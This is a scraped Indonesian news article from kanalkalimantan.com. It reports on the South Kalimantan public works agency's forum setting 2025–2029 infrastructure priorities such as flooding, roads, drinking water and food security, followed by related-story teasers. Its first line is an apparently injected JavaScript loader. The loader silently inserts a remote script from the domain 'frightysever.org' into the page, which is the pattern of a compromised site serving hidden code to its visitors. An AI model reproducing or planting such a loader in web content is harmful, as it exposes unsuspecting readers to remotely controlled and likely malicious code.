(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Pekerjaan Umum dan Penataan Ruang Provinsi Kalimantan Selatan (Kalsel) menggelar Forum Perangkat Daerah sebagai langkah strategis dalam merumuskan rencana pembangunan infrastruktur untuk periode 2025 – 2029.
Plt Kadis PUPR Kalsel, M Yasin Toyib, menekankan pentingnya kegiatan ini dalam menentukan arah pembangunan infrastruktur dan tata ruang di Kalimantan Selatan selama lima tahun ke depan.
“Kita ingin menentukan arah pembangunan infrastruktur lima tahun ke depan yang berdampak kepada peningkatan kesejahteraan masyarakat banua,” ujar Yasin Toyib saat memimpin kegiatan di Aula Kantor, Banjarbaru, Selasa (11/2/2025).
Baca juga: Organda Banjarbaru Diminta Kaji Ulang Tarif, Anggaran APG Tak Ada di 2025
Dia mengatakan, dalam menyusun isu strategis untuk rencana strategis (renstra), penting bagi semua pihak untuk memahami dinamika kebutuhan masyarakat dan tantangan yang ada.
“Diskusi dalam forum ini diharapkan dapat menghasilkan rumusan isu yang relevan dan inovatif, serta mendorong partisipasi aktif dari peserta dalam memberikan ide dan masukan,” ujar dia.
Oleh karena itu, dari hasil diskusi, ada lima isu besar yang akan dimasukkan ke dalam rancangan awal renstra Dinas PUPR Kalsel, yaitu isu banjir, Isu gerbang logistik Infrastruktur dasar terkait air minum, konektivitas jalan dan Infrastruktur ketahanan pangan.
“Isu-isu ini akan menjadi fokus dalam perencanaan program yang akan diimplementasikan setiap tahunnya hingga tahun 2029, sejalan dengan visi Presiden RI Prabowo-Gibran,” ungkap dia.
Baca juga: Musorkablub Pilih Heru Setiawan Lanjutkan Ketua KONI HSU 2023-2027
Selain itu, infrastruktur ketahanan pangan menjadi prioritas utama, mengingat itu adalah isu nasional yang harus dituntaskan dalam lima tahun ke depan.
Sementara itu, dalam sektor energi, Dinas PUPR Kalsel akan berperan sebagai pendukung dalam infrastruktur dasar yang terkait dengan sumber daya alam, dengan kolaborasi dari Dinas ESDM.
“Melalui forum ini, diharapkan tercipta sinergi yang efektif antara pemerintah dan masyarakat untuk menghadapi tantangan pembangunan infrastruktur di Kalimantan Selatan,” pungkas dia.
Kegiatan juga dirangkai dengan penandatanganan forum perangkat daerah dengan Kabupaten/Kota dan Ketua Komisi III DPRD Kalsel, M Anshari selaku Ketua PPDI Provinsi Kalimantan Selatan dan Wiku Adhiwicaksana Krasna selalu Asisten Ahli Universitas Lambung Mangkurat. (kanalkalimantan.com/MCKalsel/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
This website uses cookies.